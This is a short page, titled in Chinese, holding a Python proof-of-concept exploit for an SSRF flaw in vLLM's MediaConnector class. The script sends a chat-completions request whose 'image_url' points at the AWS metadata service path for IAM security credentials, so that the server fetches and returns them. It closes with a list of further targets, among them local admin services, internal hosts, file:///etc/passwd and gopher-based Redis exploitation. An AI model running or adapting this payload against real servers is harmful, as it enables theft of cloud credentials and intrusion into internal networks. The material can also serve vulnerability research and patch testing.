CVE-2025-6242：vLLM MediaConnector类SSRF漏洞

# CVE-2025-6242 - vLLM MediaConnector SSRF Proof of Concept # This PoC demonstrates the SSRF vulnerability in vLLM's MediaConnector class # The vulnerability exists in load_from_url and load_from_url_async methods import requests import json # Target vLLM server endpoint VLLM_SERVER = "http://target-vllm-server:8000" # Step 1: Authenticate to obtain access token (low privilege required) # In a real scenario, obtain a valid API key or session token auth_headers = { "Authorization": "Bearer <your_api_token>", "Content-Type": "application/json" } # Step 2: Craft a malicious request with SSRF payload # The URL points to internal cloud metadata service ssrf_payload = { "model": "vllm-multimodal-model", "messages": [ { "role": "user", "content": [ { "type": "image_url", "image_url": { # Malicious URL pointing to AWS metadata service "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } }, { "type": "text", "text": "Describe this image" } ] } ], "max_tokens": 300 } # Step 3: Send the request to trigger SSRF # The vLLM server will fetch the URL from the internal metadata service response = requests.post( f"{VLLM_SERVER}/v1/chat/completions", headers=auth_headers, json=ssrf_payload ) # Step 4: Analyze the response for leaked information print("Status Code:", response.status_code) print("Response:", json.dumps(response.json(), indent=2)) # Alternative targets for SSRF exploitation: # - http://127.0.0.1:8080/admin (local services) # - http://192.168.1.1/ (internal network devices) # - http://[::1]/ (IPv6 localhost) # - file:///etc/passwd (local file access via file protocol) # - gopher://internal-service:6379/ (Redis exploitation via gopher protocol)